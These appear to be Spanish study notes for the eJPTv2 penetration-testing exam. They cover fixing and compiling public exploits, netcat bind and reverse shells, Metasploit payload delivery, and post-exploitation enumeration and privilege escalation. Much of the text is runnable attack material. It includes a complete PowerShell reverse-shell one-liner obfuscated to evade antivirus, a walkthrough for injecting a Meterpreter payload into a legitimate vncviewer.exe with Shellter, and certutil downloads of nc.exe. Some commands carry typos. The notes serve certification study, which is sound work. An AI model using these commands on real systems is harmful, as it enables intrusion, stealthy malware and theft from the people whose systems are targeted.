Obtenemos un root access + Meterpreter al host |
| getuid |
|
Ejemplo
![[Pasted image 20260318170217.png]]
eJPTv2
5. Explotacion / 3. Arreglando Exploits Y Compilacion
1. Arreglando Exploits
| searchsploit http file server |
Vemos varios archivos para la 2.3 de Rejetto. Usaremos el que tiene Remote Command Execution y extension .py para ejecutarlo con python |
| searhsploit -m ID_Exploit |
|
| nano Archivo |
Veremos alguna metadata y descriptcion en los comentarios del principio Tambien vemos aqui el Usage (como usarlo) |
| python ARCHIVO IP_TARGET PUERTO |
Vemos que no funciona. Eso es porque hay algo que no hemos visto |
| nano Archivo |
En EDB Note, en los comentarios vemos que dice:
Para usarlo necesitamos tener un webserver hosting con netcat (http://IP_TARGET:80/nc.exe)
Si bajamos al codigo, vemos una variable ip_addr (LOCAL_IP) y local_port
|
Cambiamos ip_addr a la IP_LOCAL
Cambiamos local_port al puerto con el que vayamos a escuchar el netcat: ejemplo 1234 |
No tenemos que cambiar nada mas, guardamos y salimos |
eJPTv2
5. Explotacion / 3. Arreglando Exploits Y Compilacion
2. Compilacion C
En ciertos casos ciertos exploits estan escritos en C/C++/C# y necesitaremos compilar el exploit en un Portable Executeable/PE o binario
Windows
Herramientas:
-
MinGW-w64: para compilar sw desde Linux para Windows
![[Pasted image 20260318164618.png]]
-
Gcc
| apt install mingw-64 -y |
|
| apt install gcc |
|
Se recomienda compilarlo en la version de 32bits ya que correra en todas las versiones
| searchsploit VideoLAN VLC smb |
El nuestro es el 9303 |
| searchsploit -m 9303 |
|
| ls |
|
| nano 9303 |
Si el exploit esta bien doccumentado tendra el como compilarlo, no es el caso |
| i686-w64-mingw32-gcc 9303.c -o NOMBRE |
Version x64 |
| ls |
Vemos nuestro .exe |
|
|
| i686-w64-ming32-gcc 9303.c -0 NOMBRE -lws2_32 |
Version x32 |
Linux
| searchsploit Dirty Cow |
Nosotros buscamos el 40839 |
| searchsploit -m 40839 |
|
| nano 40839 |
Este si tiene instruccion de compilacion |
| gcc -pthread 40389 -o NOMBRE -lcrypt |
Obtenemos el elf o binario |
Recurso por si falla el cross compiling
Hay veces que falla y el siguiente recurso de Github tiene compilaciones ya hechas de exploits sobretodo de WIndows pero de las dos:
https://github.com/offensive-security/exploit-db-sploits/
![[Pasted image 20260318164646.png]]
eJPTv2
5. Explotacion / 4. Shells
1. Ubicacion Kali Y Cheatsheet
Visto en: [[4. Shells y Cheatsheet reverse shells]]
eJPTv2
5. Explotacion / 4. Shells
2. Crear Bind Shell Con Netcat
| Comandos |
Explicacion |
| En nuestra Kali |
|
| cd /usr/share/windows-binaries |
|
| python -m SimpleHTTPServer 80 |
|
|
|
| En el target |
|
http://IP y descargar
o
certutil -urlcache -f http://IP/nc.exe |
|
| Abrimos un cmd |
|
| nc.exe -nvlp 1234 -e cmd.exe |
Cuando se conecte el atacante se ejecutara cmd.exe en su conexion |
|
|
| En nuestra kali |
|
| nc -nv IP 1234 |
Se abrira un cmd |
|
|
| AL REVES TAMBIEN SE PUEDE |
|
| En nuestra kali |
|
| nc -nvlp 1234 -e /bin/bash |
|
|
|
| En el target: |
|
| nc.exe -nv NUESTRA_IP 1234 |
|
eJPTv2
5. Explotacion / 4. Shells
3. Crear Reverse Shells Con Netcat
| Comandos |
Explicacion |
| En nuestra Kali |
|
| cd /usr/share/windows-binaries |
|
| python -m SimpleHTTPServer 80 |
|
|
|
| En el target |
|
http://IP y descargar
o
certutil -urlcache -f http://IP/nc.exe |
|
| Abrimos un cmd |
|
|
|
| En nuestra kali |
|
| nc -nvlp 1234 |
|
|
|
| En el objetivo |
|
| nc.exe -nv IP 1234 -e cmd.exe |
|
|
|
| En nuestra kali |
Habremos obtenido el shell |
|
|
| AL REVES TAMBIEN SIRVE |
|
| En el target |
|
| nc -nvlp 1234 |
|
|
|
| En nuestra Kali |
|
| nc -nv IP 1234 -cmd.exe |
|
|
|
| TAMBIEN SIRVE ENTRE LINUX |
Solo hay que ejecutar un /bin/bash en vez de un cmd.exe |
| En nuestra kali |
|
| nc -nvlp 1234 |
|
|
|
| En el linux objetivo |
|
| nc -nv IP 1234 -e /bin/bash |
|
eJPTv2
5. Explotacion / 4. Shells
4. Upgradeando Non Interactive Shells
| run |
Nos dara una non interactive shell |
|
|
| Convirtiendola en interactiva |
|
| cat /etc/shells |
Dependiendo de la que este instalada se usa unos comandos u otros |
/bin/bash -i
o
/bin/sh -i
o si hay python (python –version)
python -c ‘import pty; pty.spawn(“/bin/bash”)’
o si hay perl (perl –help)
perl -e ‘exec “/bin/bash”;’ / perl exec “/bin/bash”; |
|
| env |
|
| export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
|
| export TERM=xterm |
|
| export SHELL=bash |
|
| env |
|
eJPTv2
5. Explotacion / 4. Shells
5. Shell Modulo WEB Delivery
Tenemos que tener acceso a las dos maquinas previamente
| msfconsole -q |
|
| search web_delivery |
Crea un webserver que contiene un payload que se descarga y ejecuta en el sistema objetivo y establece una sesion |
| use |
|
| show options |
|
| set target PSH\ Binary |
|
| set payload windows/shell/reverse_tcp |
|
| set PAH-EncodedCommnad false |
|
| set LHOST IP |
|
| run |
Copiamos el powershell code |
|
|
| Vamos al sistema objetivo |
|
| Abrimos un cmd |
|
| Lo pegamos y ejecutamos |
|
|
|
| Volvemos al MSF |
|
| sessions |
|
| sessions N |
|
eJPTv2
5. Explotacion / 4. Shells
6. Shell Modulo Hta Server
Tenemos que tener acceso a las dos maquinas previamente
![[Pasted image 20260318183240.png]]
eJPTv2
5. Explotacion / 5. Ofuscacion Y Evasion Av
1. Shellter
Usaremos shellter: una herramienta de inyeccion de shellcode de forma dinamica mediante PE (ejecutables portables). Se usa para injectar un shell code en aplicaciones de Windows nativas (actualmente solo aplicaciones 32bits)
| Comandos |
Explicacion |
| sudo apt install shellter -y |
|
sudo dpkg –add-architecture i386 sudo apt install win32 |
Esto va a permitir ejecutar aplicaciones nativas de Windows en nuestras kali. Se instalo el paquete de arquitectura 32bits debido a que shellter solo funciona con aplicaciones Windows de 32bits |
|
|
| ls -la /usr/share/windows-resources/shellter |
shelleter.exe esta aqui |
| cp /usr/share/windows-binaries/vncviewer.exe . |
Es un programa legitimo de windows que permite conectarte a un VNC session |
| sudo wine shellter.exe |
A:automatico /home/kali/Desktop/vncviewer.exe Y:yes a funcionar de forma legitima en primer plano L: payload del listado (C:seria custom) Numero en la lista: este caso 1 LHOST LPORT |
|
|
| En nuestro sitio de trabajo se ha remplazado el ejecutable. En /usr/share/windows-resources/shellter-backup se genera un backup del archivo original por si lo queremos recuperar |
|
| El que se creo si lo ejecutamos se ejecutara normalmente pero en segundo plano se ejecutara el payload |
|
| sudo python3 -m SimpleHTTPServer 80 |
|
| msfconsole -q |
|
| use multi/handler |
|
| set payload windows/meterpreter/reverse_tcp |
|
| set lhost IP |
|
| set lport 1234 |
|
| run |
|
|
|
| Vamos al Windows system y vamos en el navegador a: IP:80 y descargamos el .exe |
|
| Lo ejecutamos |
En primer plano se ve normal |
|
|
| Si volvemos al kali en el listener de MSF tendremos la shell meterpreter |
|
eJPTv2
5. Explotacion / 5. Ofuscacion Y Evasion Av
2. Ofuscacion De Codigo Powershell
Ofuscacion: procesos de ocultar algo importante o critico. Reorganiza el codigo con el fin de que sea mas dificil de analizar
Como pentester trabajaras con codigo PowerShell frecuentemente y los AVs detectan muy rapidamente si el codigo PowerShell es malicioso o no.
Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation
Comandos
| Comandos |
Explicacion |
| git clone https://github.com/danielbohannon/Invoke-Obfuscation |
Esto lo usaremos por ejemplo para ofuscar reverse shell en PowerShell |
| sudo apt install powershell -y |
|
| pwsh |
Tenemos acceso a una powershell en linux |
| cd Invoke-Obfuscation |
|
| ls |
|
| Import-Module ./Invoke-Obfuscation |
|
|
|
Vamos a coger el siguiente codigo powershell reverse shell nano reverse.ps1 |
|
| powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.0.0.1’,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ’PS ’ + (pwd).Path + ’> ’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()” |
|
| Nos quedamos con lo siguiente |
|
| $client = New-Object System.Net.Sockets.TCPClient(‘IPLOCAL’,LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ’PS ’ + (pwd).Path + ’> ’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
Cambiamos IPLOCAL y LPORT |
|
|
| Volvemos a Invoke-Obfuscation |
|
| SET SCRIPTPATH /ruta/reverse.ps1 |
|
| AST |
|
| ALL |
|
| 1 |
Saldra un codigo ofuscado que copiamos y pegamos en el reverse.ps1 |
| Copiamos ese codigo en reverse.ps1 y guardamos |
|
|
|
| python3 -m http.server 80 |
|
| nc -nvlp 1234 |
|
|
|
| Vamos a Windows y descargamos el archivo yendo a IP:80 |
|
| Lo ejecutamos (click derecho correr en la PowerShell o nos metemos en una PowerShell y hacemos .\achivo.ps1) |
|
| En nc conseguimos la shell, le damos Enter para que salga el prompt |
|
eJPTv2
5. Explotacion
Indice Explotacion
-
Windows
- Vulnerabilidades conocidas
- [[3. HTTPFileServer 2.3.x - Rejetto]]
- [[2. SMB MS17-010 (EternalBlue) o MS08-067 (Para Windows XP-2000)]]
- [[3. Apache Tomcat WebServer 8.5.19]]
- [[4. RDP (BlueKeep)]]
- [[5. HTTP 2.7 (BadBlue)]]
-
Linux
- Vulnerabilidades conocidas
- [[1. WebApp CGIs (Apache 2.4.6) - Shellshock]]
- [[2. FTP vsftpd 2.3.4]]
- [[3. Samba 3.X - 4.X (is_known_pipename)]]
- [[4. SSH 0.6.0 - 0.8.0]]
- [[5. ProFTPD 1.3.3]]
- [[5. SNMP 2.8.8 - Haraka]]
- [[6. PHP 5.2.4]]
- [[7. Samba 3.0.20]]
-
Arreglando exploits
- [[1. Arreglando exploits]]
- [[2. Compilacion C]]
-
Shells
- [[1. Ubicacion kali y Cheatsheet]]
- [[2. Crear bind shell con Netcat]]
- [[3. Crear reverse shells con Netcat]]
- [[4. Upgradeando Non-Interactive Shells]]
- [[5. Shell Modulo web_delivery]]
- [[6. Shell Modulo hta_server]]
-
Ofuscacion y evasion AV
- Evasion AV
- [[1. Shellter]]
- Ofuscacion codigo
- [[2. Ofuscacion de codigo Powershell]]
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 1. Mejorar Shell
1. Mejorando Shell A Meterpreter Desde MSF
| run |
Nos dara una shell normal |
| /bin/bash -i |
|
| Ctl Z |
Background |
| sessions |
|
|
|
| Upgradearla |
|
| sessions |
Ahi estara el meterpreter |
| sessions -u N |
Ejecuta lo mismo pero de forma automatica |
|
|
| run |
Nos dara una shell normal |
| /bin/bash -i |
|
| Ctl Z |
Background |
| sessions |
|
|
|
| Upgradearla |
|
| search shell_to_meterpreter |
|
| use |
|
| show options |
|
| set session N |
|
| set lhost IP |
|
| run |
Nos dara una meterpreter shell |
| sessions |
Ahi estara |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 2. Enumeracion MSF Y Meterpreter
1. Enumeracion MSF Meterpreter
Windows y Linux
| Comandos |
Explicacion |
| sysinfo |
Informacion del sistema comprometido |
| getuid |
Conseguir el usuario |
| help |
Lista de comandos |
| exit |
Terminarla (NO HACER AHORA) |
| bg |
Poner en background |
| sessions -h |
|
| sessions -C COMANDO -i N |
Ejecuta un comando en una session sin tener que meterte |
| sessions -k N |
Matar la session (NO HACER AHORA) |
| sessions -n NOMBRE |
Poner nombre a las sessiones |
| sessions N |
|
| pwd |
Ver el directorio en el que estamos |
| cd .. |
|
| cat flag1.txt |
|
| edit archivo |
Editar una archivo :q salir |
| cd Secret FIles |
|
| cat flag2.txt |
|
| cd .. |
|
| download flag5.zip /ruta/nombre_archivo |
|
| bg |
|
| unzip flag5.txt |
|
| checksum md5 /bin/binario |
Obtener el hash de un binario |
| getenv VARIABLE |
Conseguir el valor de una variable |
| search -d /usr/bin -f *backdoor* |
Busca un archivo en el sistema de directorio |
| search -d /usr/bin -f *.php |
|
| search -f archivo |
Buscar el archivo en todo el sistema |
| shell |
Obtener una shell native del sistema |
| Ctl C |
Termina la shell y vuelve a Meterpreter |
| ps |
Ver la lista de procesos. Si queremos migrar a un proceso en especifico |
| migrate N (PID) |
|
| execute -f CMANDO |
Ejecutar un comando en el sistema desde meterpreter |
| mkdir nombre |
|
| rmdir nombre |
|
| ls o lls |
|
| screenshot |
Hace una captura de la pantalla del objetivo |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 2. Enumeracion MSF Y Meterpreter
2. Modulos MSF Enumeracion Postexplotacion Windows
post/windows/manage/migrate
| search migrate |
|
| use post/windows/manage/migrate |
Nos permite crear un proceso y migrar a el |
| show options |
|
| set session N |
|
| run |
Falla porque ya hemos migrado |
- /post/windows/gather/win_privs
| search win_privs |
|
| use /post/windows/gather/win_privs |
Nos permite enumerar los privilegios del usuario actual |
| set session N |
|
| run |
- Is Admin: true - Is System: no tenemos privs de sistema porque cambiarmos de usuario con impersonate tokens - Is In Local Admin Group: true - UAC Enable: true - UID: MAQUINA\Usuario |
- /post/windows/gather/enum_logged_on_users
| search enum_logged_on |
|
| use /post/windows/gather/enum_logged_on_users |
Nos permite ver los usuarios logeados en el momento y recientes |
| show options |
|
| set session 1 |
|
| run |
Nos da los SID actuales y recientes |
- /post/windows/gather/checkvm
| search checkvm |
|
| use /post/windows/gather/checkvm |
Nos dice si la maquina esta en un VM |
| show options |
|
| set session 1 |
|
| run |
Nos dice que es una Xen VM. Esto es importante porque hay modulos que pueden romper el entorno virtual y darnos acceso al host |
- /post/windows/gather/enum_applications
| search enum_applications |
|
| use /post/windows/gather/enum_applications |
Nos da una lista con los programas descargados y su version |
| show options |
|
| set session 1 |
|
| run |
Algunas versiones de esas aplicaciones tendran vulns que nos permitan elevar nuestros privs |
- /post/windows/gather/enum_av_excluded
| search type:post platform_windows enum_av |
|
| use post/windows/gather/enum_av_excluded |
Nos enumera las carpetas, extensiones… con exclusiones AV donde podremos ejecutar |
| show options |
|
| set session 1 |
|
| run |
Nos detecta el Deffender de Windows pero no exclusiones en este caso |
- post/windows/gather/enum_computers
| search enum_computer |
|
| use post/windows/gather/enum_computers |
Enumera las maquinas conectadas al dominio |
| show options |
|
| set session 1 |
|
| run |
Esta maquina no esta conectada a un dominio |
- post/windows/gather/enum_patches
| search enum_patches |
|
| use post/windows/gather/enum_patches |
Enumera los parches |
| show options |
|
| KB |
KB patches son numeros identificadores de actualizaciones de Windows. Lo podemos modificar pero en este caso lo dejamos en default |
| set session 1 |
|
| run |
Nos dice que no se puede. Probamos a migrar de proceso a otro con AUTHORITY\SYSTEM |
| sessions N |
|
| ps |
|
| migrate PID |
Hemos cambiado a svchost.exe |
| bg |
|
| run |
No sigue dando error |
|
|
| Otra forma manual |
|
| sessions N |
|
| shell |
|
| systeminfo |
Nos da info del sistema y una lista de los KB patches instalados |
- /post/windows/gather/enum_shares
| search enum_shares |
|
| use /post/windows/gather/enum_shares |
Nos enumera los shares |
| show options |
|
| set sessions N |
|
| run |
Encontramos un $print (de impresora) |
- post/windows/manage/enable_rdp
| search rdp platform:windows |
|
| use post/windows/manage/enable_rdp |
Nos dice si RDP esta habilitado |
| show options |
|
| set sessions N |
|
| run |
Nos dice que esta habilitado |
Toda esta informacion se gurardara en:
| loot |
Nos dara informacion recopilada importante |
| /home/user/.msf4<7loot/ |
Aqui estara en el sistema de archivos |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 2. Enumeracion MSF Y Meterpreter
3 Modulos MSF Enumeracion Postexplotacion Linux
- post/linux/gather/enum_config
| search enum_config |
|
| use post/linux/gather/enum_config |
Recopila los archivos de configuracion de Linux |
| show options |
|
| set session N |
|
| run |
Los verdes son los que existen |
| loot |
Veremos los archivos |
| cat /archivo |
Leemos uno |
| search type:post platform:linux env |
|
| use post/linux/gather/env |
Recopila las variables de entorno |
| show options |
|
| set session N |
|
| run |
Los verdes son los que existen |
- post/linux/gather/enum_network
| search enum_network |
|
| use post/linux/gather/enum_network |
Recopila info de la red |
| show options |
|
| set session N |
|
| run |
Cosas como intentar abrir el sshd, recopilar info y configuraciones del firewall, dns… |
| loot |
|
| cat /archivo |
En el de dns config vemos que el ns principal es members-linode.com (linode es un servicio cloud) |
- post/linux/gather/enum_protections
| search enum_protections |
|
| use post/linux/gather/enum_protections |
Checkea el endurecimiento de los mecanismos del sistemas , enumera aplicaciones instaladas que puede ser usada para dificultar, prevenir o detectar ataques. Intenta descubrir los modulos de Linux (LSM), antivirus, IDS/IPS… |
| show options |
|
| set session N |
|
| run |
Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump… |
| notes |
|
- post/linux/gather/enum_system
| search enum_system |
|
| use post/linux/gather/enum_system |
Recopila informacion del sistema |
| show options |
|
| set session N |
|
| run |
Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump… |
| loot |
|
| cat /ruta/installed_packets |
|
| cat /ruta/cronjobs |
|
- post/linux/gather/checkcontainer
| search checkcontainer |
|
| use post/linux/gather/checkcontainer |
Nos dice si tiene un contenedor |
| show options |
|
| set session N |
|
| run |
Parece ser un Docker host |
- post/linux/gather/checkvm
| search checkvm platform:linux |
|
| use post/linux/gather/checkvm |
Detecta un entorno virtual |
| show options |
|
| set session N |
|
| run |
|
- post/linux/gather/enum_user_history
| search enum_user_history |
|
| use post/linux/gather/enum_user_history |
Trata de conseguir los history (contienen comadnos realizados previamente) a de las cuentas |
| show options |
|
| set session N |
|
| run |
|
| loot |
|
| cat /ruta/para_root |
|
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
1. Enumeracion De Informacion Del Sistema
| sysinfo |
Informacion del sistema como: - Hostname - SO y Service Pack - Arquitectura |
| shell |
|
| hostname |
|
| systeminfo |
Nos da info de todo el SO: - Hostname - OS name - OS version y build - Arquitectura - Procesador - Boot Device - Domain - Hotfixed: estos se pueden pegar en google para saber que esta parcheado y que es vuln - Network info: interfaz, IP del DHCP Server, IP del sistema… |
| wmic qfe get Caption, Description, HotFixID, InstalledOn |
Esto nos da mas informacion sobre los Hotfix instlados: - URLD - Para que fuerons instalados - Num del Hotfix (KBXXXX) - Dia que se instalo |
| exit |
Volvemos al meterpreter |
| cat C:/Windows/System32/eula.txt |
Este archivo si existe nos da info del SO |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
2. Enumeracion De Users Y Grupos
| getuid |
|
| shell |
|
| whoami |
Hostname/user |
| whoami /priv |
Priv del usuario actual |
| query user |
Usuarios loggeados actualmente |
| net users |
Cuentas del sistema |
| net user USER |
Mas info de un usuario especifico |
| net localgroup |
Todos los grupos del sistema |
| net localgroup NOMBRE_GRUPO |
Nos da los members del grupo |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
3. Enumeracion Local
| shell |
|
| ipconfig |
IP actual, adaptadores, gateway, mascaras |
| ipconfig /all |
Informacion adicional: MACs, DHCP Enable, DHCP Server, DNS Server…
Si este host tuviera otra interfaz para alcanzar un nuevo segmento de red que antes no hemos sido capaces de acceder desde fuera saldria por aqui |
| route PRINT |
Tabla de rutas |
| arp -a |
ARP table (IP/MAC) |
| netstat -ano |
Lista los servicios:puerto, protocolo, estado y PID que estan corriendo
Son los enumerados por nmap, el 4444 (estado: ESTABLISHED) que es por donde tenemos conectado nuestro Meterpreter y alguno que puede haberse escapado |
| netsh advfirewall show allprofiles |
En este caso esta deshabilitado |
|
|
Para ver los parametros de netsh advfirewall poenemo solo:
netsh advfirewall |
Saldran los parametros que podemos usar a modo de help menu |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
4. Enumeracion Procesos Y Servicios
| ps |
Procesos que estan corriendo en una lista: - PID - Name - Arquitecura - User (ptivs asociados al proceso) - Patch
Si accediesemos con el usuario bob, no administrado, no nos saldrian los procesos con priv AUTHORITY\SYSTEM solo los relacionados con bob |
| pgrep PROCESS_NAME |
Ej: pgrep explorer.exe |
| migrtate PID |
Migrar a un proceso |
| sysinfo |
Vemos que hemos migrado a un meterpreter x64, es otra forma de cambiar a un meterpreter x64 |
|
|
| shell |
|
| net start |
Servicios start (No procesos) estos corren en background |
| wmic service list brief |
Lista servicios con un: - ExitCode - Name - ProccessID - StartMode - Estado - Status |
| tasklist /SVC |
Lista procesos que estan corriendo y el servicio que esta corriendo ese proceso en particular |
schtasks /query /fo LIST
|
Lista tareas programadas
Dara muchisima info, se recomiendo copiar y pegar en un notas por ejemplo, esta info sera muy util en la escalada de privs
- Hostname - Taskname - Task torun - Schedule |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
5. Automatica
JAWS: es un script de powershell que ayuda a identificar vectores de escalada de privilegios en Windows. Usado para PowerShell 2.0
https://github.com/411Hall/JAWS
Comandos
Es el mismo lab en todo el modulo
| upload /ruta/jaws-enum.ps1 |
|
| shell |
|
| powershell -ExecutionPolicy Bypass -File \ruta\jaws-enum.ps1 -OutputFileName JAWS-Enum.txt |
Nos dara mucha info Dura bastante, se puede quedar pillado pero debemos dejarlo |
| dir |
|
| exit |
|
| download JAWS-Enum.txt |
|
| Lo abrimos |
|
Encontramos info como: - Users info - Network info - Process y services info - Firewall rules - /hosts info - Schedule tasks - Patches info - Files con control total y modificacion access - Y mas |
|
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
1. Enumeracion De Informacion Del Sistema
| getuid |
Usuario actual |
| sysinfo |
Informacion del sistema como: - Hostname - SO y Service Pack - Arquitectura |
|
|
| shell |
|
| /bin/bash -i |
|
| hostname |
|
| cat /etc/issue |
Distibucion que esta corriendo |
| cat /etc/*release |
Mas informacion sobre el debian |
| uname -a |
Kernel version y arquitectura |
| uname -r |
Limitar a version kernel |
| env |
Enumerar variables del usuario |
| lscpu |
CPU info |
| free -h |
Saber cuanta RAM esta siendo consumida (no esta disponible en esta maquina) |
| df -h |
Mostrar espacio de disco duro usado leible - Sistema de archivos o dispositivo - Tamano - Espacio usado - Espacio libre - Porcentaje ocupado - Punto de montaje |
| df -ht ext4 |
Esto muestra solo los sistemas de archivos del sistema |
| lsblk | grep sd |
Muestra los discos de almacenamiento del sistema en forma de arbol |
| dpkg -l |
Muestra paquetes instaldos y su version. Todas las herramientas y utilidades son considerados paquetes como por ejemplo bash |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
2. Enumeracion De Usuarios Y Grupos
| Comandos |
Explicacion |
| getuid |
uid 0 es el root |
| shell |
|
| /bin/bash -i |
|
| whoami |
|
| groups USERNAME |
Grupos de un usuario |
| cat /etc/passwd |
Nos dara los user y service accounts (los users tienen /bin/bash y servicios /usr/sbin/nologin) |
| cat /etc/passwd | grep -v /nologin |
username:X:userID:groupID:/home/directory:shell |
| ls /home |
Si hubiese mas user accounts saldrian aqui sus directorios |
|
|
| EJEMPLO CREANDO UN USUARIO |
|
| useradd bob -s /bin/bash |
|
| cat /etc/passwd | grep -v /nologin |
Saldra tambien bob |
| ls /home |
No tendra /home/directory porque no se lo especificamos al crearlo, habria que crearlo manualmente |
| useradd -m john -s /bin/bash |
El si lo tendra |
|
|
| groups |
Grupos |
| groups bob |
|
|
|
| EJEMPLO METIENDO A BOB EN EL GRUPO ROOT |
|
| usermod -aG root bob |
Anadimos a bob al root group |
|
|
| last |
Ultimos usuarios que se loggearon |
| lastlog |
Ver la ultima vez que se loggearon todos los usuarios del sistema en una lista |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
3. Enumeracion De Red
| ifconfig |
Obtener info de: - Las interfaces - IPaddress - Mascaras - MACs |
| netstat |
Lista los servicios:puerto, protocolo, estado y PID que estan corriendo
Son los enumerados por nmap, el 4443 (estado: ESTABLISHED) que es por donde tenemos conectado nuestro Meterpreter y alguno que puede haberse escapado |
| route |
Tabla de rutas |
| shell |
|
| /bin/bash -i |
|
| ip a s |
Parecido a ifconfig |
| cat /etc/networks |
Interfaces info: default, loopback y link-local |
| cat /etc/hostname |
|
| cat /etc/hosts |
Hosts + IPs para ver dominios que podemos acceder |
| cat /etc/resolv.conf |
Nameservers (DNS Server) que se usa por defecto |
| arp -a |
No esta instalada |
| exit |
|
| arp |
|
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
4. Enumeracion Procesos Y Cronjobs
| Comandos |
Explicacion |
| ps |
Procesos que estan corriendo en una lista: - PID - Name - Arquitecura - User (ptivs asociados al proceso) - Patch
Si accediesemos con el usuario bob, no administrado, no nos saldrian los procesos con priv AUTHORITY\SYSTEM solo los relacionados con bob |
| pgrep PROCESS_NAME |
Ej: pgrep explorer.exe |
| migrtate PID |
Migrar a un proceso |
|
|
| shell |
|
| ps aux |
Procesos que estan corriendo en una lista. NO SE ENCUENTRA EN EL SISTEMA: - User - PID - CPU y MEM ocupada - TTY usada - Cuando empezo - Comando |
| ps aux | grep NAMEPROCESS |
De un proceso especifico |
| ps aux | grep USERNAME |
De un usuario especifico |
| top |
Lista de procesos dinamica. NO SE ENCUENTRA EN EL SISTEMA |
| crontab -l |
Cronjobs del usuario |
| ls -la /etc/cron* |
Todos los cronjobs divididos en carpetas segun sea cada dia, semana, mes… |
| cat /etc/cron* |
Aqui veriamos si hubiese algun cronjob configurado |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
5. Automatico
LinEnum: es un script de bash simple que automatiza el local enumeration para identificar vulns de escalada de privilegios
https://github.com/rebootuser/LinEnum
Comandos
LinEnum: (https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)
| copiar y pegar en un archivo llamado (LinEnum.sh) |
|
| sessions N |
|
| cd /tmp |
|
| upload /ruta/LinEnum.sh |
|
| shell |
|
| /bin.bash -i |
|
| id |
Somos un usuario sin privs |
| whoami |
|
| cat /etc/passwd |
No tenemos ni shell configurada |
| chmod +x Linenum.sh |
|
| sed -i ‘s/\r$//’ LinEnum.sh |
SI DA ERRORES AL EJECUTAR LinEnum.sh |
| ./LinEnum.sh |
Encuentra info de: - Kernel info - Release info (SO, version…) - Hostname - Users/groups - Logged on - /etc/passwd - Variables para el usuario - Paths - Shells - Pass info - Cron jobs - Network info - Servicios - Binarios sobre los que tenemos permisos - Compiladores - SUID binaries - Conf files
Y mas |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 1. Kernel Exploits
1. Windows Exploit Suggester
- MSF
- Manual
MSF
Los modulos que nos de podemos mirarlos en google (rapid7) para ver una descripcion
| search local_exploit_suggester |
Este modulo nos enseñara los modulos para escalar privs |
| use local_exploit_suggester |
|
| set session N |
|
| run |
[+] –> Son los modulos que sirven para escalar privs en el objetivo Si lo cogemos y lo miramos en google podremos ver con mas detalle que es lo que hace |
| use MODULE[+] |
|
| set OPTIONS |
|
| run |
|
| getuid |
[[4. Enumeracion MSF|COMANDOS UTILES MSF]] |
Manual
| Comando |
Explicacion |
| git clone URL |
https://github.com/strozfriedberg/Windows-Exploit-Suggester/tree/master |
| ./windows-exploit-suggester.py –update |
Actualiza la base de datos |
| ./windows-exploit-suggester.py –database NOMBRE_ARCHIVO.db –systeminfo ARCHIVO |
NOMBRE_ARCHIVO.db: nombre del archivo en el directorio de la base de datos
ARCHIVO: archivo que contiene la info del comando sysinfo realizada en un sesion de Meterpreter
SALIDA: -[E]: exploit name -[M]: MSF module - [*]: boletin perdido |
El primero es MS16-135 en el cual salen 2 exploits [E] y una url de github
Podemos buscar MS16-135 en google para mas detalle |
|
| En SeeWiki/windows-kernel-exploit/ de github podemos buscar MS16-135, navegar en sus carpetas hasta la version .exe o .psq y descargarla |
Cogemos el .exe
https://github.com/SecWiki/windows-kernel-exploits |
| session N(Meterpreter sin privs) |
|
| cd C:\Temp |
|
| upload archivo.exe |
|
| shell |
|
| .\archivo.exe N |
N(num de la version Windows: 7, 2008)
Si no sabemos cual ponemos .\archivo.exe y nos deberia decir opciones |
| whoami |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 2. Bypassing Uac
1. Bypassing Uac
UAC es una caracterisitca de Windows Vista usado para prevenir cambios no autorizados
Para bypassear UAC necesitamos un usuario parte de los local admin groups
3 niveles de UAC, desde low - high:
- Si esta en high, Windows programs pueden ser ejecutados con privilegios
UACMe/Akagi64.exe
Es una herramienta de escalado de privs para bypassear UAC: https://github.com/hfiref0x/UACME
